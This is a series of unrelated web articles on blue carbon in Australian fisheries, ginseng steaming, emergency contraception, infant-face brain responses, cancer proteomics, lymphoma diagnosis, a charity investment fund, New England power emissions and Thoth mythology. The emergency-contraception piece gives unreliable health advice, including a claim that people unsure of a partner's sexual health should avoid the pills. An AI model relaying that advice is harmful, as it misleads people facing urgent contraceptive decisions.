As an island nation, Australia boasts one of the longest coastlines in the world: nearly 60,000 kilometres in total. While some of that coastline is occupied by beaches, large swathes are also home to mangroves, saltmarshes and seagrass beds. These are the sources and sinks for ‘blue carbon’ – the carbon stored in coastal marine sediments and plants.
Former Federal Environment Minister Greg Hunt advanced the concept of blue carbon at the 2015 United Nations Climate Change Conference in Paris. Since then, interest has been growing in how Australia can capitalise on this carbon resource – and, in doing so, help restore ecosystems that are also vital for fisheries.
Australia was one of the first countries to include blue carbon in its National Greenhouse Gas Inventory, and was instrumental in launching the International Partnership for Blue Carbon at the Paris climate conference.
For fisheries, blue-carbon initiatives could offer multiple benefits. They could address climate change and ameliorate the related flow-on effects to fisheries, as well as improve, restore and protect critical fishery habitats.
Photo: Donna Squire, Deakin University
Blue carbon can be thought of as ‘boutique’ carbon, says Catherine Lovelock, professor in the School of Biological Sciences at the University of Queensland, because it offers so much more than simple carbon sequestration.
“We can plant a mallee forest, and maybe we’ll help some biodiversity, but mangroves are habitat and nursery for many commercially valuable coastal marine species, including Mangrove Jack, Barramundi, Mud Crabs and Banana Prawns, as well as being home to molluscs and other crustaceans,” she says. “Mangroves also act as a buffer zone to protect against storm surges and extreme events, such as cyclones and tsunamis.”
Blue carbon also has far greater capacity than land-based carbon, says CSIRO marine ecologist Mat Vanderklift. In a typical land-based scenario, the availability of oxygen speeds up the decomposition of organic matter. Some of the carbon is sequestered in the soil, and some is taken up by trees and plants; but much of it soon returns to the atmosphere.
In contrast, the soils of mangroves, saltmarshes and seagrasses exist in a low-oxygen, wet, salty environment. Decomposition is much slower, and the carbon is locked into the sediment at far greater rates.
“We’ve cored into seagrass meadows and they can be thousands of years old,” says Mat Vanderklift. This means these marine soils also accumulate far more carbon than soils on land.
“We’ve got two to three metres deep of old seagrass or old mangrove, and that’s basically thousands of years’ worth of carbon locked away,” he says.
Blue carbon is of particular interest to the Queensland Government’s Land Restoration Fund – a $500 million initiative set up specifically to expand carbon farming, with a focus on projects that also deliver environmental and economic benefits. The fund is set to announce the results of its first round of pilot project funding early this year. Don Butler, a scientist working on the fund, says this is likely to include blue-carbon projects.
“There’s a recognition that the carbon market can be used to change the economic frame around land restoration,” he says. “When you think about what kind of land restoration is in the interests of Queensland, coastal land restoration definitely is.”
One scenario for blue-carbon development is removal of bunds – or earthen walls – that block tides from entering estuarine saltmarshes. Since European settlement, thousands of bunds have been built by pastoralists up and down the Queensland coast to keep out salt and create ponded freshwater pastures in which cattle can graze.
A 2017 CSIRO report identified the introduction of tidal flow back into mangroves and tidal marshes as a significant blue-carbon farming opportunity. This is not just in terms of the carbon sequestration that could then take place in the estuarine soils, but also in the avoided emissions from removing methane-producing freshwater pastures.
“That fits with the Land Restoration Fund’s broader purpose, which is about land restorations, and that type of activity is about restoring estuarine wetland, which has fisheries benefits as well,” Don Butler says.
Another blue carbon-farming scenario involves avoiding the disturbance and degradation of coastal ecosystems. Peter Macreadie, associate professor of Environmental Science and head of the Blue Carbon Lab at Deakin University, describes one project working with cattle farmers to fence off shorelines. This prevents the cattle disturbing coastal soils and causing erosion.
“We’re hoping that a lot of these systems come back on their own, and we’ve got other areas where we know that they’ve been damaged over time, and we can go in and plant or encourage recovery,” he says.
Sea-level rise could also provide an opportunity for landowners along coastlines to work with the rising water, rather than be hampered by it.
“We could be planning to encourage sea-level rise to go into those areas and find new economic opportunities for landholders to be offset and compensated for the loss of land they have as a result of sea-level rise,” Peter Macreadie explains. “They’re actually farming mangrove forests, for example, instead of cattle.”
Roadblocks to blue-carbon trading
Photo: Donna Squire, Deakin University
While the enthusiasm for blue carbon is clear, a few hurdles must still be overcome before Australia can start trading blue-carbon offsets on the carbon market.
The first is that Australia does not yet have an agreed method for blue-carbon accounting. This is something that must be established by the Australian Government’s Emissions Reduction Fund before blue-carbon trading can launch, Catherine Lovelock says.
“We can’t do carbon projects in Australia that don’t go through the Emissions Reduction Fund, because they’re worried about double-counting of carbon dioxide,” she says.
There’s no word on when that method will be finalised, but there’s a clear sense of impatience among those in the industry.
Another hurdle is that the science of blue-carbon accounting, while fairly advanced in Australia, still has some ‘known unknowns’. One of these is the question of whether seaweed fits within the blue-carbon portfolio.
Catherine Lovelock says that while seaweed ecosystems are highly productive, they do not necessarily sequester carbon long term.
“There’s no sediment accumulation. To be a carbon project, you have to work out how that seaweed gets to the bottom of the ocean and doesn’t come back out again as carbon dioxide.”
An even bigger challenge is accounting for the avoided emissions associated with turning methane-producing freshwater, ponded pastures back into carbon-sequestering saltmarshes and mangroves.
“We need to know how much methane that system is giving off, so that we can say, when we convert it, we’ve basically avoided that methane emission,” Catherine Lovelock explains. “That could double the value of our projects, because in some cases the carbon sequestration part might actually be quite small.”
Another question is how to map Australia’s blue-carbon resources, says Mat Vanderklift.
“Seagrasses live underwater and they’re not usually visible, so mapping them is a bit harder than mapping a mangrove, where we can use satellite-based methods,” he says.
And if blue carbon is to command a higher price as a ‘boutique’ product on the carbon market, there’s also a need to account for those additional environmental and social benefits.
“We’re looking at the social and livelihood benefits, so doing things like measuring what are the fishery benefits of a mangrove or a seagrass,” Mat Vanderklift says. “We know they’re there, but can we quantify them?”
Then there’s the question of who owns this potentially lucrative carbon resource. While the intertidal zone falls under the ownership of the state and federal governments, Rowan Foley, CEO of the Aboriginal Carbon Foundation, highlights the case of Blue Mud Bay in the Northern Territory – where the High Court recognised the rights of the Yolngu people over the intertidal zone in 2008.
“The mangroves and the seagrasses are largely in that intertidal zone, so the fact that native title rights have been demonstrated in that area is very good, because it opens up that whole door for us,” he says.
Catherine Lovelock suggests that carbon-farming operations on public land might operate under a similar model to aquaculture leases. Governments may not want to do these projects themselves, but may want to facilitate them.
“It’s just something a project would have to negotiate,” she says.
Offsetting with blue carbon
Photo: Simon Fox, Deakin University
While so many blue-carbon initiatives are in the pilot stage, awaiting the development of an accounting method – and in some cases, hoping to inform that process – the fisheries industry is waiting for the chance to invest in blue carbon.
In 2016, Western Australia’s Austral Fisheries became the world’s first seafood sector company to become carbon neutral. Austral CEO David Carter says the company would have preferred to go with blue-carbon offsets, with the potential to benefit coastal and estuarine ecosystems and fisheries, but the methodology to do so had not been adequately developed at that time.
Bryan Skepper, general manager of the Sydney Fish Market, says the market has already achieved a 17.8 per cent reduction in its carbon emissions and attained carbon-neutral status. It is now working towards a target of 20 per cent reduction by 2020, in partnership with Qantas and the Future Planet program.
But the Sydney Fish Market’s ultimate aim is to offset its carbon emissions with blue carbon. A blue-carbon working group the market is participating in has already applied for funding for a blue-carbon project on the Mossman floodplain and Burdekin delta in Queensland.
“If companies start to invest in mangroves and seagrass beds, which are the nurseries for the fish we harvest, then we get a double win out of it,” Bryan Skepper says. “We’re not only offsetting our carbon; we’re creating habitat or rehabilitating habitat that enables the fish stocks to breed, which if you’re really successful with it, enables the sustainable catch rates to increase.”
Taking steps towards carbon-neutral fisheries
In 2017, participants in the National Seafood Industry Leadership Program challenged the seafood sector to become carbon neutral by 2030.
In response, the FRDC and CSIRO hosted a workshop in July 2018 that invited representatives from industry, government and non-government organisations to discuss the challenges and opportunities around achieving carbon neutrality – with an emphasis on blue-carbon offsets.
The workshop identified several steps that could help the seafood sector move towards becoming carbon neutral:
- Develop and deliver sector-relevant resources that outline the benefits of carbon neutrality, the various options to achieve it, and how to go about it.
- Engage with carbon market organisations and standards providers to ensure that ‘scene-setting’ activities related to carbon abatement, such as data collection and standards development, are relevant to the seafood sector.
- Connect with organisations and initiatives already working towards carbon neutrality through both land-based and blue-carbon offsets in Australia and around the world, with the aim of establishing future seafood sector projects.
For fisheries and seafood businesses looking to take the first step towards becoming carbon neutral, both the Queensland Seafood Industry Association and the UK peak body Seafish have developed online emissions calculators.
For more details, the full workshop report can be found here.
FRDC Research Code: 2018-060 |
Steaming ginseng at higher temperatures can boost its potency dramatically, according to research reported in the current (November 21) issue of the Journal of Natural Products, a peer-reviewed journal of the American Chemical Society, the world's largest scientific society.
Ginseng root has been used mostly in Asian cultures for centuries to enhance physical and mental vitality. The nutritional supplement in recent years has become widely available in world markets - either dried, or steamed at standard boiling temperatures of 100 degrees Celsius (212 Fahrenheit) - for use as an antioxidant and blood thinner.
Steaming for approximately three hours at 120 degrees Celsius (248 Fahrenheit) can multiply the herb's antioxidant qualities by eight times and its ability to relax blood vessels by up to 32 times, according to researcher Jeong Hill Park of Seoul National University in Korea.
The hotter steam produced an optimal amount of biological activity from the same ginseng used in normal supplements, Park found. The higher temperature amplifies certain ginsenosides - the ingredient believed responsible for ginseng's sought-after qualities - and generates others not normally found in dried versions of the root, Park said.
"This very simple steaming can significantly increase the biological activities of ginseng," Park said. "I believe we can develop more potent health foods or related products using this process."
Such high temperature steaming would be part of the manufacturing process of "sun ginseng," named after the dark purple color achieved from the heat, Park said. The additional heating above normal boiling temperature requires applying pressure to the water. This cannot be done without special equipment, he said.
Ginseng steamed at boiling temperatures is known as "red ginseng" because of the coloration it assumes.
Park reported no negative side effects from the higher concentration levels produced by the hotter steaming. As a food supplement, ginseng does not require extensive clinical trials in the United States. But those taking anti-inflammatory or blood thinning drugs should be alert to possible interactions, according to health sources.
The above post is reprinted from materials provided by American Chemical Society. Note: Materials may be edited for content and length.
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Emergency contraception is a type of birth control used by women after an unprotected sex. It is also used when usual birth control methods fail, like rupturing of condoms and missing out on regular contraceptive pills. They are also called “morning-after pills”. They primarily work by either delaying ovulation or blocking the hormones that promote conception.
Types Of Emergency Contraceptives
The effectiveness of emergency contraceptives depends on the time after intercourse at which the pill is consumed. Plan-B one-step emergency contraception works by delaying the eggs from ovulating, or by stopping fertilization, or by avoiding implantation after fertilization. It is most effective when taken immediately, not exceeding 72 hours after having unprotected sex.
Ulipristal is a non-hormonal drug which works by blocking the hormones necessary for conception. This should be taken within 120 hours of unprotected intercourse.
Apart from pills, Intrauterine Device (IUD) is also available, insertion of which prevents implantation of fertilized egg for 5 to 7 days after unprotected sex.
Though safe, they are not recommended for routine usage due to various side effects. Below are the reasons why emergency contraceptives are bad for you.
Side-effects Of Emergency Contraceptives
1. Not 100% Effective
Studies showed that out of 100 women, approximately 10 women conceived even after taking an emergency contraceptive pill. This indicates that they are not 100% effective. The effectiveness also depends on the type of emergency contraceptive used. An IUD is the most effective of all with 99% success rate. Plan-B has effectiveness rate ranging from anywhere between 52% to 100%. And, Ulipristal has effectiveness rate ranging from 62% to 85%.
Also, if the woman vomited within 2 to 3 hours of taking a pill, not taking another pill could lead to conception if ovulation has happened.
2. Do Not Protect You From STDs
Unlike male and female condoms, emergency contraceptives do not protect you from sexually transmitted diseases like HIV, Syphilis, Chlamydia, Gonorrhea, and HPV. Therefore, if you are not sure about the sexual health of your partner, it is best to avoid emergency contraception.
3. Cause Vaginal Bleeding
Vaginal bleeding is one of the common side effects of popping an emergency contraceptive pill. Bleeding should not ideally last longer than 2 to 3 days. However, if it continues even after 3 days, it is an indication of a severe health issue which requires immediate medical attention.
4. Cause Nausea And Headache
Some women have nausea and headache after taking a pill. In worst cases it could also lead to vomiting, causing dehydration. Though these are general side-effects and need not be worried about much, having these symptoms for a long time could interfere with the normal routine. It is best to consult your doctor if the symptoms pertain after 2 days.
5. Cause Abdominal Pain And Fatigue
Abdominal pain is one of the most common issues women face after taking emergency contraceptives. The stomach might feel tender and painful to touch. In some cases it could lead to either dehydration or constipation, leaving you fatigued. It is best to see the doctor if you feel constantly lethargic and are unable to eat due to increasing pain.
6. Interfere With Normal Menstrual Cycle
Research indicates that women who consumed emergency contraceptive pill got their cycles 3–4 days either before or after the actual date. About 13–14% of women had extremely painful menstruation. It is suggested to take a pregnancy test if periods are delayed by a week or more.
7. Certain Drugs Reduce Their Effectiveness
If you are taking barbiturates, these could impact the effectiveness of emergency contraceptives to a large extent. Drugs that cure epilepsy, tuberculosis, fungal infections, and HIV also affect the functioning of these pills. It is best to take an advice from your doctor before opting them. A double dose might sometimes be prescribed depending on the dosage of the drug you are taking.
8. Weight Impacts Their Effectiveness
Studies show that emergency contraceptives are less effective in obese women, but do not pose any harm. Ulipristal is way less effective if the Body Mass Index (BMI) is more than 35. The effectiveness of plan-B reduces if your BMI is more than 25, and it might not work at all if the BMI is greater than 30.
They are not prescribed during pregnancy, as they do not induce termination. However, if consumed during pregnancy, are not risky to either the fetus or the mother.
WHO recommends the usage of these pills to girls and women who are at a risk of unintended pregnancy, after unprotected sex. Plan-B step-one is usually sold as over-the-counter drug and does not need a prescription. Ulipristal and IUDs need a prescription. There are several natural alternatives available with varying effectiveness, which can be helpful.
- What Are The Side Effects Of Condoms?
- Sex During Pregnancy: Is It Safe For Both Mom And Baby?
- 10 Useful Pregnancy Tips For Normal Delivery
- 5 Cases Where You Could Get Pregnant During Menstruation
- What Are The Benefits Of Belly Band For Pregnancy
- What Is Natural Alternative For Emergency Contraceptive Pill? |
Why do we almost instinctively treat babies as special, protecting them and enabling them to survive? Darwin originally pointed out that there is something about infants which prompts adults to respond to and care for them which allows our species to survive. Nobel-Prize-winning zoologist Konrad Lorenz proposed that it is the specific structure of the infant face, including a relatively large head and forehead, large and low lying eyes and bulging cheek region, that serves to elicit these parental responses. But the biological basis for this has remained elusive.
Now, a possible brain basis for this parental instinct has been reported. This research was led by Morten Kringelbach and Alan Stein from the University of Oxford and was funded by the Wellcome Trust and TrygFonden Charitable Foundation. The authors showed that a region of the human brain called the medial orbitofrontal cortex is highly specifically active within a seventh of a second in response to (unfamiliar) infant faces but not to adult faces.
This finding has potentially important clinical application in relation to postnatal depression, which is common, occurring in approximately 13% of mothers after birth and often within six weeks. The present findings could eventually provide opportunities for early identification of families at risk.
The research team used a neuroimaging method called magnetoencephalography (MEG) at Aston University, UK. This is an advanced neuroscientific tool which offers both excellent temporal (in milliseconds) and spatial (in millimetres) resolution of whole brain activity. Because the researchers were primarily interested in the highly automatized processing of faces, they used an implicit task that required participants to monitor the colour of a small red cross and to press a button as soon as the colour changed. This was interspersed by adult and infant faces that were shown for 300 ms, but which were not important to solve the task.
The authors found a key difference in the early brain activity of normal adults when they viewed infant faces compared to adult faces. In addition to the well documented brain activity in the visual areas of the brain in response to faces, early activity was found in the medial orbitofrontal cortex to infant faces but not adult faces. This wave of activity starts around a seventh of a second after presentation of an infant face. These responses are almost certainly too fast to be consciously controlled and are therefore perhaps instinctive.
The medial orbitofrontal cortex is located in the front of the brain, just over the eyeballs. It is a key region of the emotional brain and appears to be related to the ongoing monitoring of salient reward-related stimuli in the environment. In the context of the experiment, the medial orbitofrontal cortex may provide the necessary emotional tagging of infant faces that predisposes us to treat infant faces as special and plays a key role in establishing a parental bond.
Also, there is now evidence from deep brain stimulation linking depression to the nearby subgenual cingulate cortex which is strongly connected with the medial orbitofrontal cortex. This lends support to the possibility that changes to activity in the medial orbitofrontal cortex secondary to depression may adversely affect parental responsivity.
Postnatal depression is common and there are some experimental evidence suggesting that mothers with postnatal depression have difficulties in responding to infant cues. Further research could identify whether the present finding of early and specific medial orbitofrontal responses to infant faces (own and others) are affected and even suppressed by depression, thereby helping to explain this lack of maternal responsiveness. The present paradigm could eventually provide opportunities for early identification of families at risk.
Journal reference: Kringelbach ML, Lehtonen A, Squire S, Harvey AG, Craske MG, et al (2008) A Specific and Rapid Neural Signature for Parental Instinct. PLoS ONE 3(2): e1664.doi:10.1371/journal.pone.0001664http://www.plosone.org/doi/pone.0001664
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Scientists are proposing an international effort, on the scale of the Human Genome Project (HGP), to identify all the proteins present in cancer cells. HGP was the international scientific research project that identified and mapped all the genes in humans. Within a decade, they believe, results of the new effort could provide cancer patients with more effective treatments customized to their own biology.
The perspective appears in ACS' Journal of Proteome Research.
Cristobal Belda-Iniesta and colleagues point out that medicine already is moving toward individual treatments instead of a "one size fits all" strategy. Doctors currently use information from tissue biopsies, medical imaging, and other sources to select the most effective treatment for each patient. Analyzing protein biomarkers in each patient would be a major advance, since these proteins could allow doctors to determine how a particular cancer might respond to a specific drug. Scientists already have identified hundreds of these cellular calling cards, and now must identify more and begin applying the knowledge in treating patients.
Accomplishing it will require an international effort to identify these cancer-related proteins with collaboration among hospitals, research centers, and governments from around the world. Doctors would collect blood samples from patients with the major forms of cancer prior to surgery or during drug treatment for cancer in order to profile the proteins associated with the success or failure of a specific treatment, with cancer's spread to distant sites in the body, and other factors. The results in improved treatments could begin to appear within 5 years of completing the project, they suggest.
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When it comes to explaining physical, cultural and religious differences to children, it can be difficult to know where to begin. What Makes Us Unique? provides an accessible introduction to the concept of diversity, teaching children how to respect and celebrate people’s differences and that ultimately, we are all much more alike than we are different. Additional questions at the back of the book allow for further discussion.
Child psychologist Dr. Jillian Roberts designed the Just Enough series to empower parents/caregivers to start conversations with young ones about difficult or challenging subject matter. Other books in the series deal with birth, death, separation and divorce. For more information, visit www.justenoughseries.com.
Check out the trailer here.
Book Title: What Makes Us Unique?
Author: Dr. Jillian Roberts
ISBN: 9781459809505 | $4.99 USD/CAD | Orca Book Publishers |
- NHL Treatment
- Hodgkin's Treatment
- Clinical Trials
- Monoclonal Antibodies
- Types of NHL
Lymphoma and Pets
Diagnosing lymphoma is one of the more difficult diagnoses to make in cancer medicine, and contrary to perception, diagnosing lymphoma is not made by one's primary physician or even one's oncologist. Instead, diagnosing lymphoma will be made by a qualified pathologist.
How Does Diagnosing Lymphoma Work?
Let's say that for the last few months you haven't quite felt like yourself. Perhaps you're experiencing some of the symptoms listed below:
- -- Swollen and painless lymph nodes in the neck or groin
- -- A general feeling of fatigue
- -- Appetite loss
- -- Occasional, drenching night sweats
- -- Unexplained fevers and flu-like symptoms
- -- Unexplained weight loss
After you report these symptoms to your primary care physician, you will likely undergo a physical examination during which your doctor will pay close attention to the nodal areas as well as your spleen and liver.
However, the most important part of diagnosing lymphoma will come after your doctor recommends you undergo an incisional or excisional biopsy. In this procedure, one of your suspect lymph nodes is removed for examination by a pathologist.
That pathologist, whom you will likely never meet or even be aware of, will examine your biopsy under a microscope, then subject it to a number of laboratory tests in order to determine A) whether the lymphocytes are in fact cancerous, and B) the subtype of the lymphoma. The pathologist generates a report of your biopsy, which includes the diagnosis, which is sent to your doctor.
This is one of the most important steps in the course of every patient's cancer journey, because a misdiagnosis can lead to unnecessary or useless treatment, and can even be fatal. Estimates as to how many cancer misdiagnoses are made every year vary, but at least one source suggests that as many as 50,000 are made each year (for all cancers, not just lymphomas).
If the diagnosis is lymphoma...
If lymphoma is confirmed by the pathologist, your doctor will probably order several tests for you to undergo in what is known as a Work-Up, and this process helps to determine your overall health as well as the clinical staging of your lymphoma. Tests include:
- -- Complete blood count (CBC)
- -- Comprehensive metabolic panel
- -- Serum lactate dehydrogenase (LDH)
- -- Hepatitis B test
- -- Chest/abdominal/pelvic CT
- -- PET/CT (optional)
- -- MUGA scan (optional)
Whether or not some of these tests are given will depend on the lymphoma diagnosis. Ultimately all patients need to realize how important diagnosing lymphoma is, who is making the diagnosis, the chances that the diagnosis is wrong, and that getting a second opinion on one's biopsy from another pathologist is one of the most crucially important steps in the entire process. |
The central tenet behind laissez-faire market is free movement and distribution of wealth. Every effort undertaken in the market is being rewarded by a payment from the other party. Thus, wealth is being distributed from the payer to the receiver. A vegetable seller gets his or her share of wealth from the buyer of his or her vegetables. And when the vegetable seller buys rice, the rice seller gets his or her share of wealth from the vegetable seller. Such is the movement and distribution of wealth in the market.
What this actually means is that whatever wealth we have accumulated, it is dependent upon our receiving from others. A salaried worker may view that his salary has no bearing upon society. However, the worker will only get his or her salary if society accepts and buys the products and services provided by his or her employer. If society acts otherwise, the employer will have no business, and will not be able to pay the worker’s salary.
Thus, our total well-being since birth is actually a contribution from others in society, regardless of whether they are people that we know or complete strangers of whose existence we don’t even know. Let’s face it. Even our current income, regardless of what field we are in, is dependent on the society.
Society is interdependent. Life is also interdependent. To assume oneself as a single unit is a fallacy. Take the case of rice as an example. For a paddy rice production, many factors are involved and contribute to the forming of the paddy; from the farmer, to the land, to the rain, to the sun, to the neighbouring community, and many other aspects. If there’s only seed, nothing can be formed. Therefore, the owner has practical obligations and debts towards all the elements that play a role in the forming of the paddy. And this is society in a nutshell.
What happens when the relationship only moves in one direction? For instance, assuming seawater keeps evaporating into the clouds without a single drop of rainfall? The effect is not limited to the sea level, but the whole environmental ecosystem.
To think one is an individual completely independent from the system or society is actually harming one’s own existence which is sustained by the system. Just as whatever amount of seawater that the cloud takes, it will be returned to the sea as rainwater. It’s all about maintaining harmony.
Similarly, in the stock market, whatever gains we make comes from another investor who bought from us in the market. Thus, we are getting our wealth from their distribution. If we feel we have maximized the profit potential of the stock and thus decided to sell, then the buyer must be taking the risk of making a loss on his or her investment.
There is nothing legally wrong in this. This is a free market. But in the morality perspective, it makes a stronger case for us to give back some of the profits to society, doesn’t it?
The Creation of iSERF
For those who have been allocating a portion of their income for charitable and social causes, they will generally face two challenges. The first is that the increase in allocation is dependent on the increase in their pay or income. The second is that since the allocation comes from their income, their ability to give is dependent on their ability to earn. If there comes a day when they are not able to earn, they would not be able to give.
I too was faced with the same challenges until 2007, when an idea struck me. Rather than contributing directly, why don’t I invest the monthly allocation into a fund, and with any gains from the investment, half will go to charity while the remaining will be reinvested. This way, a sustainable philanthropic vehicle can be created. The charity fund will be able to generate its own income, via the investments, and no longer dependent on my ability to earn.
This idea was behind the creation of iSERF, or InterPac Social Enterprise & Responsibility Fund, which was launched by Inter-Pacific Asset Management on 14 April 2017. The key characteristic of iSERF is that 20 percent of the gain generated will be utilised to support social causes of the investors’ choice.
Some ask why is it social enterprise? The most fundamental concept behind social enterprise is generating profit while addressing social issues. In the case of iSERF, the profit is generated by its investment portfolio. As for social issues, investors of iSERF would be able to use the 20 per cent of the gain to support causes in which they believe.
Personally, I believe in social enterprise as a more sustainable way of creating an impact. Pure philanthropic ventures are generally not sustainable in the long run, as it lacks the profit-driven element.
The motivation to generate profit, will not only drive results, but also generates the ability to attract talents into the field.
Thus, what iSERF is creating is sustainability. With 20 per cent of the profit going to social causes and balance 80 per cent and the principal investment being reinvested, iSERF can be sustainable model to generate funds for social causes.
On 26 February 2018, the Securities Commission of Malaysia has qualified iSERF as a Sustainable and Responsible Investment Fund, which we believe makes iSERF the first fund in the country to obtain this status.
This is our way of contributing back to the society. And I hope investors will start to see things the way we do and play their part as well.
This marks the end of our education series. I sincerely hope that readers would be able to gain some knowledge and insights which will benefit them in their investment journey. I would like to end with a quote, which I believe to holds true:
Until concept becomes experience,
all there is, is speculation.
Neale Donald Walsch |
The ISO New England Electric Generator Air Emissions Reports available below provide a comprehensive analysis of New England electric power generator air emissions (nitrogen oxides [NOX], sulfur dioxide [SO2], and carbon dioxide [CO2]) and a review of relevant system conditions.
During the ten-year period from 2010 through 2019, native system emissions decreased: NOX by 55%; SO2 by 97%; and CO2 by 41%. The emissions decline during this period reflects shifts in the regional generation mix, with increases in natural gas-fired, solar and wind generation offsetting declines in coal- and oil-fired generation.
Part of the comprehensive planning activities that ISO New England performs include evaluating the environmental impacts of resource and transmission facilities needed to maintain the reliability of New England’s power system. The quarterly environmental reports below track the impact of state and federal environmental requirements on the reliability and operation of New England power system and, in turn, the environmental consequences of its operations.
|2020 Winter & Spring
||2020 Winter & Spring Environmental Report: summarizes the environmental performance of the ISO New England electric power generating system and regulations affecting generators and the bulk electric power system (January 1, 2020 through June 30, 2020)| |
Following the Sheff v. O’Neill school desegregation case in Hartford, Connecticut, the state increased funding for interdistrict magnet schools to reduce the racial, ethnic and economic barriers preventing students living in Hartford from equal educational outcomes compared to their suburban peers. This observational study focuses on the Montessori Magnet School in Hartford, exploring whether a magnet school environment, coupled with the Montessori philosophy of educating, is an effective ways to foster positive inter-racial attitudes, behaviors, and contact conditions.
Blacklaw, Nicola. “The Presence of Contact Conditions in a Magnet School”. Educational Studies Senior Research Project, Hartford, Connecticut: Trinity College, 2002. Available from the Trinity College Digital Repository, Hartford, Connecticut (http://digitalrepository.trincoll.edu) |
|Thoth and The Book of Thoth - The Myths behind the Legend
True, without falsehood, certain and most true, that which is above is the same as that which is below, and that which is below is the same as that which is above, for the performance of miracles of the One Thing.
Thoth -The Emerald Tablets of Thoth
The Myth & Legend of Thoth and The Book of Thoth
Thoth is one of the most complex Egyptian deities. According to classical belief it was Thoth who brought the idea of creation into existence by uttering the thoughts of the creator; Ptah then put those spoken words into effect. The ancient Egyptians considered Thoth to be the mind behind cosmic order, the architect of the universe. Thoth was the principal deity of the city of Hermopolis (the City of Hermes) or Khemnu as the Egyptians called it. According to Egyptian legend, the temple of Hermopolis housed fragments of the cosmic egg that Thoth himself as the divine Ibis, had hatched on the Island of creation, from the egg the first sun had risen.
Thoth’s association with the creation myth also extends to the divine birth of the pharaohs themselves. Thoth was said to lead Amun the king of gods to the bedchamber of the waiting queen.
Thoth was not only associated with the creation of the physical world, as the originator of the written word in the form of hieroglyphs, he is also credited with the authorship of The Book of the Dead (The Book of am Tuat). The Book of the dead is a book of spells, prayers and rituals that would assist the dead on their journey to the afterlife. According to Egyptian understanding the deceased person would be judged by a panel of 42 assessors of the dead, which corresponded with the 42 administrative areas that Egypt was divided into. From this originates the legend of the 42 Books of Thoth.
Hieroglyphs, the language of the gods.
Thoth’s most recognisable association is that of the god of writing, as such he is often depicted as a man with the head of an Ibis, holding a writing stylus and an ankh. Ra was said to have appointed Thoth ‘scribe of the Ennead’ before he retreated from the Earth knowing that Thoth’s wisdom would allow him to serve as humanities teacher and guardian. It was Thoth who was appointed to keep the affairs of humanity in order. The written word was an essential tool for organising and administering the government of Egypt bringing order and structure to a vast country. It has been estimated that contrary to popular belief, only around one percent of the Egyptian population was literate, most of these being priests, members of the ruling classes and scribes. Scribes, (sesh) were known as followers of Thoth and held a unique and respected position because of their skills and the connection with the words of the gods that those skills provided.
Hieroglyphs were known as ‘medu neter’, which translates as ‘words of the gods’. When temple priests carried out services in the temples and read from the temples texts they were thought to be reading and speaking the magical and divine words of the Gods themselves.
Whether in spoken or written form the words contained in these texts were considered so sacred and so powerful that as a precaution, certain hieroglyphs were actually inscribed in two separate halves to diminish their power, which was considered highly potent and capable of causing havoc if activated by mistake. Priests also conducted magical rituals to activate the divine power that their texts contained.
The influence of the mythology enshrined in the written word was such that over time developed into the legend of The Book of Thoth. According to both esoteric and occult legend, the book of Thoth was said to be the repository for the greater Egyptian mysteries. This was said to be a book of magic that was so powerful that one single spell that it contained it would give the person that spoke it access to all knowledge beyond book learned knowledge and to wisdom of Thoth himself. Legend has it that the Book of Thoth was hidden in an ancient tomb in Sakkara, in Northern Egypt.
Thoth and the Tarot
Because many occultists believe the Tarot to be an esoteric remnant of the legendary Book of Thoth, the tarot as a system, regardless of the deck origin, is often given the generic name of The Book of Thoth. Drawing on the origins of the Egyptian mystery school tradition, occultist Aleister Crowley took this association one step further by naming his tarot deck the THOTH deck. According to some the tarot was intended as a tool that would guide the initiate on a journey of enlightenment and discovery that would lead to both inner and outer knowledge and wisdom which parallels the Egyptian understanding of the significance of hieroglyphs themselves. Another thing that makes Crowley's Thoth deck stand out from other decks is the fact that the deck actually has three magus cards which represent the three forms of Thoth. The full title of this card is The Magus of Power. The path of the Magus card on the Tree of Life is the 12th which runs from Kether the 'Primum mobile' or first swirlings to Binah or 'understanding'. This again emphasises Thoths position as a conduit for the will of the creator to be conveyed to humanity. Crowleys three magus cards (see above) represent the three in one Thoth - Hermes - Mercury aspect of him as a deity.
The many facets of Thoth
Besides being the god who introduced writing to the world, Thoth has multiple other associations and is depicted in a variety of ways sometimes he is shown as an ibis other times, a baboon or as a dog headed ape wearing the combined lunar disc and crescent above his head.
Thoth's many roles include being the Egyptian God of the moon, calendars, chronology, the spoken word, writing, magick and knowledge and measurer of time (the latter being due to the fact that he rode with Ra in the solar boat). Thoth also goes by several aliases including Thot, Tehuti, and Djehuti. He is also known as Hermes Trismegistus or ‘Thrice Great’ the Trismegistus title seems to originate from the fact that the Egyptians knew him as Thoth, the Greeks called him Hermes and finally the Romans named him Mercury. The Thrice great association also links in to the fact that there are three pyramids on the Giza plateau and certain esoteric texts such as the Alchemy of the Soul refer to three temples of knowledge.
The Roman version of Thoth, Mercury, the god of thought was somewhat androgynous in nature. A symbol of magic and intelligence Mercury was associated with quick silver, the element mercury and the planet closest to the sun. Mercury is one of the three principals of alchemy.
The magickal association of Thoth extends into his title of Hermes Trismegistos, in fact the term Hermeticism (the magical, astrological and alchemical doctrines derived from Egyptian and Hebrew sources) originates from this association. As Hermes Trismegistos he was the legendary author of various treatises including the Emerald tablets and originator of the Hermetic axiom ‘As above so below’. Hermes Trismegistos was said to be the first alchemist.
Thoth and the Moon
Thoth's association with the moon originates from the myth that recounts how he enabled Nut to give birth to her five children (Isis, Osiris, Set, Horus the elder and Nephreys) by using his cunning to win a game of draughts with the moon. By winning a seventy second part of the moons light, he managed to create five extra days (the Epagomenal days), which allowed Nut to give birth to her five children without breaking Ra’s decree that her children could not be born on any existing calendar day. This myth more than any other is responsible for Thoth’s role as a lunar deity.
Further evidence of Thoth's role as a lunar deity can be seen through Thoth’s connection with the eye of Horus. In mythology the eyes of Horus were said to represent the sun and moon. The left eye, which was damaged in battle was said to explain why the moon was dimmer than the sun. The eye of Horus was also a powerful magical talisman and contained within it a complex system of measurement, which again links back to Thoth in his capacity of measurer of the earth
It was Thoth who restored the head of Isis another lunar deity and magician, when an enraged Horus had decapitated his mother. It was also Thoth who helped Isis when her beloved Osiris had been murdered by their jealous brother, Set, enabling her to resurrect her dismembered husband and impregnate herself, thus ensuring he had an heir. Osiris then became Lord of the underworld.
According to some versions of Egyptian mythology, after the final battle between Horus and Set over Osiris’s throne, it was Thoth who wrote to Osiris then Lord of the Underworld and asked him to intervene in the final judgment of the Ennead (the eight founding gods) and find in favour of Horus’ claim to the throne of Egypt.
The Mythology and many roles of Thoth
